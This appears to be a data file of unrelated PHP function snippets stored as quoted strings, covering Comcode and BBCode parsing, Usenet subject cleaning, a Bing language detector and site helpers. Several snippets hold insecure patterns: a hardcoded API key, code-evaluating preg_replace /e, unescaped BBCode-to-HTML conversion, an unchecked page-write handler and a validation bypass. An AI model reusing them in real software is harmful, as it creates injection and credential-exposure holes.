($type=='step3')\n\t{\n\t\trequire_javascript('javascript_posting');\n\t\trequire_javascript('javascript_editing');\n\n\t\t$field_name=get_param('field_name');\n\t\t$tag=post_param('tag');\n\t\t$title=get_page_title('_COMCODE_HELPER',true,array($tag));\n\n\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t{\n\t\t\tif (($tag=='attachment') && (post_param_integer('_safe',0)==1)) $tag='attachment_safe';\n\t\t}\n\n\t\tlist($comcode,$bparameters)=_get_preview_environment_comcode($tag);\n\t\tif ($tag=='sections' || $tag=='big_tabs' || $tag=='tabs' || $tag=='list')\n\t\t\t$comcode_xml=$bparameters;\n\t\telse\n\t\t\t$comcode_xml='<'.$tag.$bparameters.'>'.post_param('tag_contents','').'</'.$tag.'>';\n\n\t\t$comcode_semihtml=comcode_to_tempcode($comcode,NULL,false,60,NULL,NULL,true,false,false);\n\n\t\t$content=do_template('BLOCK_HELPER_DONE',array('TITLE'=>$title,'FIELD_NAME'=>$field_name,'BLOCK'=>$tag,'COMCODE_XML'=>$comcode_xml,'COMCODE'=>$comcode,'COMCODE_SEMIHTML'=>$comcode_semihtml));\n\t}\n\n\t$content->handle_symbol_preprocessing();\n\t$echo=do_template('POPUP_HTML_WRAP',array('TITLE'=>do_lang_tempcode('COMCODE_HELPER'),'EXTRA_HEAD'=>$GLOBALS['EXTRA_HEAD'],'EXTRA_FOOT'=>$GLOBALS['EXTRA_FOOT'],'CONTENT'=>$content));\n\texit($echo->evaluate());\n\t$echo->handle_symbol_preprocessing();\n\t$echo->evaluate_echo();\n}", "public function cbt()\n\t{\n\t\tif (preg_match('/^\\(([a-zA-Z0-9-\\.\\&_ ]+)\\) \\[\\d+\\/(\\d+\\]) - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[ ABCAsiaPacific.com - Study English IELTS Preparation (2006) ] AVI.PDF (17/34) - \"abcap-senglishielts.r16\" yEnc\n\t\t//[ Ask Video - The Studio Edge 101 Planning a Recording Studio ] MP4.x264 (00/21) - \"syn-avtse101.nzb\" yEnc\n\t\t//[ Brian Tracy and Colin Rose - Accelerated Learning Techniques (2003) ] MP3.PDF (00/14) - \"btcr-accltech.nzb\" yEnc\n\t\t//[ Lynda.com - Advanced Modeling in Revit Architecture (2012) ] DVD.ISO (41/53) - \"i-lcamira.r38\" yEnc\n\t\t//[ Morgan Kaufmann - Database Design Know It All (2008) ] TRUE.PDF (0/5) - \"Morgan.Kaufmann.Database.Design.Know.It.All.Nov.2008.eBook-DDU.nzb\" yEnc\n\t\t//[ VertexPusher - Vol. 2 Lighting, Shading and Rendering (2012) ] MP4.x264 (05/20) - \"vp-c4dlsar.r03\" yEnc\n\t\tif (preg_match('/^\\[ ([a-zA-Z0-9-\\.\\&\\(\\)\\,_ ]+) \\] [a-zA-Z0-9]{3,4}\\.[a-zA-Z0-9]{3,4} \\(\\d+\\/(\\d+\\)) - \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"MythBusters S10E02 720p HDTV x264-DHD.rar\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . ' {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //2nd Annual American CountryMusicAwards 2011 HDTV XviD 2HD.rar yEnc\n\t\tif (preg_match('/^(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [005/358] - \"WLAN - professionell absichern.rar\" Sayco yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' Sayco yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function detect_bing($data)\n\t {\n\t \t //\n\t \t //print_r($data);\n\t \t $api = 'F0DE0CCB37335B16E7EB0BD3FA2A3C9FD3543DE5';\n\t \t \n\t \t if(empty($data['text']))\n\t\t { \n\t\t return ''; \n\t\t } \n\t\t \t\t \n\t\t $url = \"http://api.microsofttranslator.com/v2/Http.svc/Detect?appId=\".$api.\"&text=\".urlencode($data['text']); \n\t\t \n\t\t //echo $url;\n\t\t \n\t\t if (function_exists('curl_init')) \n\t\t { \n\t\t $curl = curl_init(); \n\t\t curl_setopt($curl, CURLOPT_URL, $url); \n\t\t curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); \n\t\t $res = curl_exec($curl); \n\t\t } \n\t\t else \n\t\t { \n\t\t $res = @file_get_contents($url); \n\t\t }\n\t\t \t\t \n\t\t preg_match(\"~<string([^><]*?)>([\\s\\S]*?)<\\/string>~i\", $res, $ostr); \n\t\t //print_r($ostr);\n\t\t if (empty($ostr[2])) \n\t\t { \n\t\t return ''; \n\t\t } \n\t\t else \n\t\t { \n\t\t $code_str = htmlspecialchars_decode($ostr[2]); \n\t\t $arr = explode(\"-\",$code_str);\n\t\t return (count($arr)>1) ? $arr[0] : $code_str;\n\t\t } \n\t }", "public function checkFavebookInsightsCode($code) {\r\n if ($code <> '') {\r\n if (strpos($code, 'content') !== false) {\r\n preg_match('/content\\\\s*=\\\\s*[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n $code = '';\r\n if (isset($result[1]) && !empty($result[1])) {\r\n $code = $result[1];\r\n }\r\n }\r\n\r\n if (strpos($code, 'facebook.com/') !== false) {\r\n preg_match('/facebook.com\\/([^\\/]+)/i', $code, $result);\r\n $code = '';\r\n if (isset($result[1]) && !empty($result[1])) {\r\n $json = SQ_Tools::sq_remote_get('http://graph.facebook.com/' . $result[1]);\r\n if ($json <> '') {\r\n if ($json = @json_decode($json)) {\r\n if (isset($json->id)) {\r\n $code = $json->id;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n if (strpos($code, '\"') !== false) {\r\n preg_match('/[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n $code = '';\r\n if (isset($result[1]) && !empty($result[1])) {\r\n $code = $result[1];\r\n }\r\n }\r\n\r\n if ($code == '') {\r\n SQ_Error::setError(__(\"The code for Facebook is incorrect.\", _SQ_PLUGIN_NAME_));\r\n }\r\n }\r\n return $code;\r\n }", "public function get_rb_sec_code(){\n\t\t$rb = $this->get_rb_data();\n\t\tif($rb){\n\t\t\treturn $rb->sec_code;\n\t\t}\n\t}", "function verifie_champ_utiliser($champ, $liste_champ_utilise) {\n\tif (is_array ( $liste_champ_utilise ))\n\t\t$liste_champ = $liste_champ_utilise;\n\telse\n\t\t$liste_champ [0] = $liste_champ_utilise;\n\t$nb_champ = count ( $liste_champ );\n\t$CODE_RETOUR = false;\n\tfor($i = 0; $i < $nb_champ; $i ++) {\n\t\tif ($champ === $liste_champ [$i]) {\n\t\t\t$CODE_RETOUR = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn $CODE_RETOUR;\n}", "function updatePage(){\r\n\t$pageData=base64_decode($_POST['data']);\r\n\t// Get the page we need to edit\r\n\t$html=getPage();\r\n\t// Iterate HTML, look for the editable region and make sure it's count matches the one being sent. \r\n\t$eid=0; // Assign logical number to each found class tag\r\n\tforeach($html->find('.clienteditor') as $e){ // TODO: change this to variable defined topic for edit regions\r\n\t \tif($eid==$_GET['id']){\r\n\t \t\t$e->innertext=$pageData;\r\n\t \t}\r\n\t\t$eid++;\r\n\t}\r\n\t// Post Back the updated HTML object.\r\n\t$result=postData($html);\r\n\techo \"{'status':'$result'}\";\r\n}", "function validate(){\n\t\treturn true; //use this to bypass barcode validation\n\n\t\t$value = preg_match($this->REGEX, $this->code);\n\t\tif($value != 1)\n\t\t{\n\t\t\t$this->error = 'The barcode <strong>'.$this->code.'</strong> is not valid';\n\t\t}\n\n\t\treturn $value;\n\t}", "protected static function fixBBCodes($text, $uid) {\n\t\t$text = preg_replace('~\\[/list:(u|o)~i', '[/list', $text);\n\t\t// fix closing list element tags\n\t\t$text = preg_replace('~\\[/\\*:m:'.$uid.'\\]~i', '', $text);\n\t\t\n\t\t// remove uid\n\t\t$text = preg_replace('~\\[(/?[^:\\]]+):'.$uid.'~', '[$1', $text);\n\t\t$text = preg_replace('~:'.$uid.'\\]~', ']', $text);\n\t\t\n\t\t// fix size bbcode\n\t\t$text = preg_replace_callback('~(?<=\\[size=)\\d+(?=\\])~', function ($matches) {\n\t\t\t$wbbSize = 24;\n\t\t\tif ($matches[0] <= 50) $wbbSize = 8;\n\t\t\telse if ($matches[0] <= 85) $wbbSize = 10;\n\t\t\telse if ($matches[0] <= 150) $wbbSize = 14;\n\t\t\telse if ($matches[0] <= 200) $wbbSize = 18;\n\t\t\t\n\t\t\treturn $wbbSize;\n\t\t}, $text);\n\t\t\n\t\t// see: https://github.com/phpbb/phpbb3/blob/179f41475b555d0a3314d779d0d7423f66f0fb95/phpBB/includes/functions.php#L3767\n\t\t$text = preg_replace('#<!\\-\\- s(.*?) \\-\\-><img src=\".*? \\/><!\\-\\- s\\1 \\-\\->#', '\\\\1', $text);\n\t\t$text = preg_replace('#<!\\-\\- e \\-\\-><a href=\"mailto:(.*?)\">.*?</a><!\\-\\- e \\-\\->#', '[email]\\\\1[/email]', $text);\n\t\t$text = preg_replace('#<!\\-\\- ([mw]) \\-\\-><a (?:class=\"[\\w-]+\" )?href=\"(.*?)\">.*?</a><!\\-\\- \\1 \\-\\->#', '[url]\\\\2[/url]', $text);\n\t\t$text = preg_replace('#<!\\-\\- l \\-\\-><a (?:class=\"[\\w-]+\" )?href=\"(.*?)(?:(&amp;|\\?)sid=[0-9a-f]{32})?\">.*?</a><!\\-\\- l \\-\\->#', '[url]\\\\1[/url]', $text);\n\t\t\n\t\t// fix code php bbcode...\n\t\t$text = preg_replace_callback('#\\[code(=php)?\\](.*)\\[/code\\]#s', function ($matches) {\n\t\t\t$content = $matches[2];\n\t\t\t$content = str_replace(array(\n\t\t\t\t'<br />',\n\t\t\t\t'&nbsp;&nbsp;&nbsp;&nbsp;'\n\t\t\t), array(\n\t\t\t\t\"\\n\",\n\t\t\t\t\"\\t\"\n\t\t\t), $content);\n\t\t\t$content = preg_replace('#(?:<span class=\"syntax[^\"]*\">|</span>)#', '', $content);\n\t\t\t\n\t\t\treturn '[code'.$matches[1].']'.$content.'[/code]';\n\t\t}, $text);\n\t\t\n\t\t// convert attachments\n\t\t$text = preg_replace('~\\[attachment=(\\d+)\\]<!-- ia\\\\1 -->.*?<!-- ia\\\\1 -->\\[/attachment\\]~', '', $text); // TODO: not supported right now\n\t\t\n\t\t// remove crap\n\t\t$text = MessageUtil::stripCrap($text);\n\t\t\n\t\treturn $text;\n\t}", "function AbbcCheck($text)\r\n{\r\n\treturn AbbcProc($text, true);\r\n}", "function BBCode ($string) {\n $search = array( '@\\[(?i)b\\](.*?)\\[/(?i)b\\]@si', '@\\[(?i)i\\](.*?)\\[/(?i)i\\]@si', '@\\[(?i)u\\](.*?)\\[/(?i)u\\]@si', '@\\[(?i)img\\](.*?)\\[/(?i)img\\]@si', '@\\[(?i)url=(.*?)\\](.*?)\\[/(?i)url\\]@si', '@\\[(?i)code\\](.*?)\\[/(?i)code\\]@si' );\n $replace = array( '<b>\\\\1</b>', '<i>\\\\1</i>', '<u>\\\\1</u>', '<img src=\"\\\\1\">', '<a href=\"\\\\1\">\\\\2</a>', '<code>\\\\1</code>' );\n return preg_replace($search , $replace, $string); \n }", "function aurora_borealis() {\n\t$chosen = steamed_hams_get_lyric();\n\techo \"<p id='seymour'>$chosen</p>\";\n}", "function cc_ho_vetrina($agenzia, $rif){\n\tglobal $invetrina;\n\t\n\t// $agenzia qua è il numero interno di Cometa\n\tif( isset( $invetrina[$agenzia] ) ){\t\t\n\t\t\n\t\tif ($invetrina[$agenzia]['imm'] == $rif) {\n\t\t\t// questo immobile è in vetrina\n\t\t\t$vetrina = '1';\n\t\t\tcc_import_immobili_error_log($rif.\" è in vetrina\");\n\t\t\t\n\t\t\t// vediamo se è lo stesso di quello che era già in vetrina o meno\n\t\t\t$oldrif = cc_get_rif_vetrina( substr($rif, 0, 2) );\n\t\t\tcc_import_immobili_error_log(\"oldrif: \".$oldrif);\n\t\t\t\n\t\t\t// se l'immobile attualemnte in vetrina non è questo tolgo quello attuale da vetrina\n\t\t\tif($oldrif != $rif) {\n\t\t\t\tcc_updateVetrina($oldrif); \n\t\t\t\tcc_import_immobili_error_log(\"Tolgo vetrina da \".$oldrif);\n\t\t\t}\n\t\t}else{\n\t\t\t$vetrina = '0';\n\t\t}\t\t\n\t\n\t}else{\n\t\t$vetrina = '0';\n\t}\n\t\n\treturn $vetrina;\n}", "public function isEditor()\n {\n $int;\n foreach ( $this->u_r_id as $int )\n {\n if($int==2)\n return true;\n }\n return false;\n }", "function acf_is_block_editor()\n{\n}", "function getLongFormatCongressBlockWithEditLink($congress)\n{\n $html = \"\n <div class='longCongressBlockDIV'\";\n \n if ($congress[\"imageURL\"] != \"\")\n {\n $html .= \" style='background-image: linear-gradient(to right, rgba(70, 99, 32, 0.7), rgba(60, 101, 124, 0.7)), url(\\\"\" . CONGRESS_IMAGES_PATH . $congress['imageURL'] . \"\\\");opacity:1;'\";\n }\n \n $html .= \">\n <div class='edit congressEdit fa'><a href='\" .HOME . \"?action=\" . POST_MODIFY_CONGRESS_DETAIL . \"&congress=\" . $congress['id'] . \"'>&#xf044;</a></div>\n <div class='longCongressShortName'>\" . $congress[\"shortName\"] . \"</div>\n <div class='longCongressName'>\" . $congress[\"name\"] . \"</div>\n <div class='longCongressShortDates'>\" . congressDatesForHtmlShortFormat($congress) . \"</div>\n <div class='caret congressCaret fa'>&#xf105;</div>\n <div class='longCongressVenueDetail' style='display:none;'>\n <div class='longCongressVenue'>Conference Venue :</div>\n <div>\" . $congress[\"venueName\"] . \"</div>\n <div>\" . $congress[\"venueAddress1\"] . \" \" . $congress[\"venueAddress2\"] . \"</div>\n <div>\" . $congress[\"venueCity\"] . \", \" . $congress['venueState'] . \" \" . $congress['venueZip'] . \"</div>\n <div>\" . $congress['venueCountry'] . \"</div>\n </div>\n </div>\n <script>\n $('.congressCaret').click(function()\n {\n if($('.longCongressVenueDetail').is(':visible'))\n {\n $('.longCongressVenueDetail').hide();\n $('.congressCaret').html('&#xf105;');\n }\n else\n {\n $('.longCongressVenueDetail').show();\n $('.congressCaret').html('&#xf107;');\n }\n });\n </script>\";\n return $html;\n}", "public function rgveda_verse_callback($matches0) {\n $dbg=false;\n $x0 = $matches0[0];\n $x1 = $matches0[1];\n if(! preg_match('|^([0-9]+)[ ,]+([0-9]+)(.*)$|',$x1,$matches)) {\n dbgprint($dbg,\"rgveda_verse_callback: error. x1=$x1\\n\");\n return $x0;\n }\n $gra1 = $matches[1]; // mandala\n $gra2 = $matches[2]; // hymn\n $gra3 = $matches[3]; // rest of stuff before closing }\n dbgprint($dbg,\"rgveda_verse_callback: gra1=$gra1, gra2=$gra2, gra3=$gra3\\n\");\n $modern = $this->rgveda_verse_modern((int)$gra1);\n # This version provides a link\n list($rvfile,$rvanchor) = $this->rgveda_link($modern,$gra2);\n # 2018-08-30 use github location\n $dir = \"https://sanskrit-lexicon.github.io/rvlinks/rvhymns\";\n $href = \"$dir/$rvfile#$rvanchor\";\n $modern1 = \"$modern.$gra2\";\n //$tooltip = \"=$modern1 (mandala,hymn,verse)\";\n $tooltip = \"Rg Veda $modern1 (mandala,hymn,verse)\";\n // 04-03-2021\n $x = \"<gralink href='$href' n='$tooltip'>$gra1,$gra2$gra3</gralink>\";\n return $x;\n}", "function bp_forum_extras_bbcode_buttons() { \r\n\tglobal $bp;\r\n\r\n\t$tags = bp_forum_extras_filter_allowedtags();\r\n\t\r\n\techo \"<scr\".\"ipt type='text/javascript' defer='defer'>\r\n\t\tfunction BBcodeButtons_init() {\r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_bold','B','[b]','[/b]','b','font-weight:bold;','bold'));\r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_italic','I','[i]','[/i]','i','padding-right:7px;font-style:italic;','italics'));\r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_under','U','[u]','[/u]','u','text-decoration:underline;','underline'));\r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_strike','S','[s]','[/s]','s','text-decoration:line-through;','strike through'));\r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_link','URL','','[/url]','a','text-decoration:underline;','make a link')); \r\n\t\tBBcodeButtons.push(new BBcodeButton('ed_block','&#147;quote&#148;','[quote]','[/quote]','q','padding:0 1px 1px 1px;','quote'));\";\r\n\r\n\tif (isset($tags['img'])) {\r\n\t\techo \"BBcodeButtons.push(new BBcodeButton('ed_img','IMG','[img]','[/img]','m',-1));\";\r\n\t}\r\n\t\r\n\tif (bb_get_option( 'bp_sc_bbcode_buttons')) {\r\n\t\techo \"BBcodeButtons.push(new BBcodeButton('ed_ul','UL','[ul]','[/ul]','u','','unordered list')); BBcodeButtons.push(new BBcodeButton('ed_ol','OL','[ol]','[/ol]','o','','ordered list')); BBcodeButtons.push(new BBcodeButton('ed_li','LI','[li]','[/li]','l','','list item'));\";\t\r\n\t} else {\r\n\t\techo \"BBcodeButtons.push(new BBcodeButton('ed_ul','UL','[list]','[/list]','u','','unordered list')); BBcodeButtons.push(new BBcodeButton('ed_ol','OL','[list=1]','[/list]','o','','ordered list')); BBcodeButtons.push(new BBcodeButton('ed_li','LI','[*]','[/*]','l','','list item'));\";\t\r\n\t}\r\n\t\r\n\tif (isset($tags['center'])) {\r\n\t\techo \"BBcodeButtons.push(new BBcodeButton('ed_center','center','[center]','[/center]','c','','center'));\";\r\n\t}\t\r\n\r\n\techo \"BBcodeButtons.push(new BBcodeButton('ed_code','CODE','[code]','[/code]','p','line-height:160%;font-size:80%;letter-spacing:1px;font-family:anadale,serif;','unformatted / code')); BBcodeButtons.push(new BBcodeButton('ed_close','close','','','c',' ','auto-close any tags you left open')); }</scr\".\"ipt>\";\r\n\r\n}", "function normal_bbc($text) {\n\n global $globals;\n\n if (!$globals['parsebbc']) {\n\n return $text;\n }\n\n //We should not parse in php\n $text = preg_replace('/\\[php\\](.*?)\\[\\/php\\]/ise', '\\'[php]\\'.nobbc(\\'$1\\', \\'hr|color|font|size|left|right|center|sub|sup|b|i|u|s\\').\\'[/php]\\'', $text);\n //We should not parse in code\n $text = preg_replace('/\\[code\\](.*?)\\[\\/code\\]/ise', '\\'[code]\\'.nobbc(\\'$1\\', \\'hr|color|font|size|left|right|center|sub|sup|b|i|u|s\\').\\'[/code]\\'', $text);\n\n //Put the rule\n if ($globals['bbc_hr']) {\n\n $text = preg_replace(\"/\\[hr\\]/i\", '<hr />', $text);\n }\n\n\n //Bold it out\n if ($globals['bbc_b']) {\n\n $text = preg_replace(\"/\\[b\\](.*?)\\[\\/b\\]/is\", '<b>$1</b>', $text);\n }\n\n //Italize\n if ($globals['bbc_i']) {\n\n $text = preg_replace(\"/\\[i\\](.*?)\\[\\/i\\]/is\", '<i>$1</i>', $text);\n }\n\n //Underline it dude\n if ($globals['bbc_u']) {\n\n $text = preg_replace(\"/\\[u\\](.*?)\\[\\/u\\]/is\", '<u>$1</u>', $text);\n }\n\n //Its going to strike you\n if ($globals['bbc_s']) {\n\n $text = preg_replace(\"/\\[s\\](.*?)\\[\\/s\\]/is\", '<s>$1</s>', $text);\n }\n\n //Left Align\n if ($globals['bbc_left']) {\n\n $text = preg_replace(\"/\\[left\\](.*?)\\[\\/left\\]/is\", '<div style=\"text-align: left;\">$1</div>', $text);\n }\n\n //Center Align\n if ($globals['bbc_center']) {\n\n $text = preg_replace(\"/\\[center\\](.*?)\\[\\/center\\]/is\", '<div style=\"text-align: center;\">$1</div>', $text);\n }\n\n //Right Align\n if ($globals['bbc_right']) {\n\n $text = preg_replace(\"/\\[right\\](.*?)\\[\\/right\\]/is\", '<div style=\"text-align: right;\">$1</div>', $text);\n }\n\n //Supersrcipt\n if ($globals['bbc_sup']) {\n\n $text = preg_replace(\"/\\[sup\\](.*?)\\[\\/sup\\]/is\", '<sup>$1</sup>', $text);\n }\n\n //Subsrcipt\n if ($globals['bbc_sub']) {\n\n $text = preg_replace(\"/\\[sub\\](.*?)\\[\\/sub\\]/is\", '<sub>$1</sub>', $text);\n }\n\n //Text size\n if ($globals['bbc_size']) {\n\n while (preg_match(\"/\\[size=([1-7])\\](.*?)\\[\\/size\\]/is\", $text)) {\n\n $text = preg_replace(\"/\\[size=([1-7])\\](.*?)\\[\\/size\\]/is\", '<font size=\"$1\" style=\"line-height:normal\">$2</font>', $text);\n }\n }\n\n //Font Face\n if ($globals['bbc_font']) {\n\n while (preg_match(\"/\\[font=(verdana|Arial Black|Arial Narrow|arial|helvetica|sans-serif|Times New Roman|Times|serif|courier new|Courier|monospace|geneva|georgia|Tahoma).*?\\](.*?)\\[\\/font\\]/is\", $text)) {\n\n $text = preg_replace(\"/\\[font=(verdana|Arial Black|Arial Narrow|arial|helvetica|sans-serif|Times New Roman|Times|serif|courier new|Courier|monospace|geneva|georgia|Tahoma).*?\\](.*?)\\[\\/font\\]/is\", '<font style=\"font-family:$1\">$2</font>', $text);\n }\n }\n\n //Color the text\n if ($globals['bbc_color']) {\n\n while (preg_match(\"/\\[color=(\\#.{6})\\](.*?)\\[\\/color\\]/is\", $text)) {\n\n $text = preg_replace(\"/\\[color=(\\#.{6})\\](.*?)\\[\\/color\\]/is\", '<font style=\"color: $1\">$2</font>', $text);\n }\n }\n\n //Reversify the nobbc's\n $text = preg_replace('/\\[\\-(\\/)?(hr|color|font|size|left|right|center|sub|sup|b|i|u|s)(.*?)?\\]/is', '[$1$2$3]', $text);\n\n return $text;\n}", "function _adRenderBuildStatusCode($aBanner)\n{\n return !empty($aBanner['status']) ? \" onmouseover=\\\"self.status='\" . addslashes($aBanner['status']) . \"'; return true;\\\" onmouseout=\\\"self.status=''; return true;\\\"\" : '';\n\n}", "function _get_details_comcode_tags()\n{\n\t$tag_list=array(\n\t\t'list'=>array('param'),\n\t\t'indent'=>array('param'),\n\t\t'ins'=>array('cite','datetime'),\n\t\t'del'=>array('cite','datetime'),\n\t\t'b'=>array(),\n\t\t'u'=>array(),\n\t\t'i'=>array(),\n\t\t's'=>array(),\n\t\t'sup'=>array(),\n\t\t'sub'=>array(),\n\t\t'size'=>array('param'),\n\t\t'color'=>array('param'),\n\t\t'highlight'=>array(),\n\t\t'font'=>array('param','color','size'),\n\t\t'align'=>array('param'),\n\t\t'left'=>array(),\n\t\t'center'=>array(),\n\t\t'right'=>array(),\n\t\t'abbr'=>array('param'),\n\t\t'box'=>array('float','dimensions','type','options','param'),\n\t\t'quote'=>array('param','saidless','cite'),\n\t\t'cite'=>array(),\n\t\t'samp'=>array(),\n\t\t'q'=>array(),\n\t\t'var'=>array(),\n\t\t'dfn'=>array(),\n\t\t'address'=>array(),\n\t\t'title'=>array('param','sub','number','base'),\n\t\t'contents'=>array('files','zone','levels','base'),\n\t\t'include'=>array('param'),\n\t\t'concepts'=>array('x_key','x_value'),\n\t\t'concept'=>array('param'),\n\t\t'staff_note'=>array(),\n\t\t'menu'=>array('param','type'),\n\t\t'surround'=>array('param'),\n\t\t'php'=>array('scroll','numbers'),\n\t\t'codebox'=>array('param','numbers'),\n\t\t'sql'=>array('scroll','numbers'),\n\t\t'code'=>array('param','scroll','numbers'),\n\t\t'tt'=>array(),\n\t\t'no_parse'=>array(),\n\t\t'semihtml'=>array(),\n\t\t'html'=>array(),\n\t\t'overlay'=>array('param','x','y','width','height','timein','timeout'),\n\t\t'random'=>array('string','X'),\n\t\t'pulse'=>array('param','min','max'),\n\t\t'ticker'=>array('param','speed'),\n\t\t'shocker'=>array('left','right','min','max'),\n\t\t'jumping'=>array('string'),\n\t\t'sections'=>array('default','name'),\n\t\t/*'section_controller'=>array(),*/\n\t\t'big_tabs'=>array('default','switch_time','name'),\n\t\t/*'big_tab_controller'=>array(),*/\n\t\t/*'tab'=>array('param'),*/\n\t\t'tabs'=>array('default','name'),\n\t\t'carousel'=>array('param'),\n\t\t'hide'=>array('param'),\n\t\t'tooltip'=>array('param'),\n\t\t/*'block'=>array(),*/\n\t\t'if_in_group'=>array('param','type'),\n\t\t'flash'=>array('param'),\n\t\t'img'=>array('align','float','param','title','rollover','refresh_time'),\n\t\t'upload'=>array('type','param'),\n\t\t'exp_thumb'=>array('float'),\n\t\t'exp_ref'=>array('param'),\n\t\t'thumb'=>array('align','param','caption','float'),\n\t\t'url'=>array('param','title','target'),\n\t\t'email'=>array('param','title','subject','body'),\n\t\t'reference'=>array('type','param'),\n\t\t'page'=>array('param'),\n\t\t'snapback'=>array('param','forum'),\n\t\t'post'=>array('param','forum'),\n\t\t'topic'=>array('param','forum'),\n\t\t'attachment'=>array('description','filename','type','thumb','float','align','width','height','thumb_url'),\n\t);\n\n\t//'attachment_safe'=>array('description','filename','type','width','height','align','float','thumb_url'),\tMerged into attachment in UI\n\n\tif (addon_installed('ecommerce'))\n\t{\n\t\t$tag_list['currency']=array('param','bracket');\n\t}\n\n\tksort($tag_list);\n\n\t/* // Helps find missing tags\n\tunset($VALID_COMCODE_TAGS['section']);\n\tunset($VALID_COMCODE_TAGS['section_controller']);\n\tunset($VALID_COMCODE_TAGS['tab']);\n\tunset($VALID_COMCODE_TAGS['big_tab']);\n\tunset($VALID_COMCODE_TAGS['big_tab_cntroller']);\n\tunset($VALID_COMCODE_TAGS['acronym']);\n\tunset($VALID_COMCODE_TAGS['internal_table']);\n\tunset($VALID_COMCODE_TAGS['external_table']);\n\tunset($VALID_COMCODE_TAGS['acronym']);\n\tunset($VALID_COMCODE_TAGS['block']);\n\tunset($VALID_COMCODE_TAGS['attachment']);\n\tunset($VALID_COMCODE_TAGS['attachment2']);\n\tunset($VALID_COMCODE_TAGS['attachment_safe']);\n\tunset($VALID_COMCODE_TAGS['thread']);\n\tforeach (array_keys($tag_list) as $tag)\n\t{\n\t\tglobal $VALID_COMCODE_TAGS;\n\t\tunset($VALID_COMCODE_TAGS[$tag]);\n\t}\n\t@var_dump($VALID_COMCODE_TAGS);exit();*/\n\t$custom_tag_list=array();\n\n\tglobal $DANGEROUS_TAGS,$TEXTUAL_TAGS;\n\n\tif ((get_forum_type()=='ocf') && (addon_installed('custom_comcode')))\n\t{\n\t\t$custom_tags=$GLOBALS['FORUM_DB']->query_select('custom_comcode',array('tag_title','tag_description','tag_example','tag_parameters','tag_replace','tag_tag','tag_dangerous_tag','tag_block_tag','tag_textual_tag'),array('tag_enabled'=>1));\n\t\tforeach ($custom_tags as $tag)\n\t\t{\n\t\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\t\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t\t}\n\t\tif ((isset($GLOBALS['FORUM_DB'])) && ($GLOBALS['SITE_DB']->connection_write!=$GLOBALS['FORUM_DB']->connection_write))\n\t\t{\n\t\t\t$custom_tags=$GLOBALS['SITE_DB']->query_select('custom_comcode',array('tag_title','tag_description','tag_example','tag_parameters','tag_replace','tag_tag','tag_dangerous_tag','tag_block_tag','tag_textual_tag'),array('tag_enabled'=>1));\n\t\t\tforeach ($custom_tags as $tag)\n\t\t\t{\n\t\t\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\t\t\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\t\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t\t\t}\n\t\t}\n\t}\n\n\t// From Comcode hooks\n\t$hooks=find_all_hooks('systems','comcode');\n\tforeach (array_keys($hooks) as $hook)\n\t{\n\t\trequire_code('hooks/systems/comcode/'.filter_naughty_harsh($hook));\n\t\t$object=object_factory('Hook_comcode_'.filter_naughty_harsh($hook),true);\n\n\t\t$tag=$object->get_tag();\n\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\n\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t}\n\n\treturn array($tag_list,$custom_tag_list);\n}", "public function bbcode()\n {\n return '[upl-image-preview url={URL}]';\n }", "function ajouter_liens_javascript($java)\n{\n\tif ($java == \"2\")\n\t{\n\t\t$javascript = ecrire_js();\n\t\t$javascript .= bbcode_js();\n\t}\n\telse\n\t{\n\t\t$javascript = \"\";\n\t}\n\treturn $javascript;\n}", "function checkVideo($arrl)\n\t\t{\n\t\t\t//check if the post contain video\n\t\t\tif($arrl['is_video'] == true)\n\t\t\t{\n\t\t\t\treturn $arrl['video_url'];\n\t\t\t}\n\t\t}", "public function validationSha($code){\r\n\t\t//variables\r\n\t\t$error = 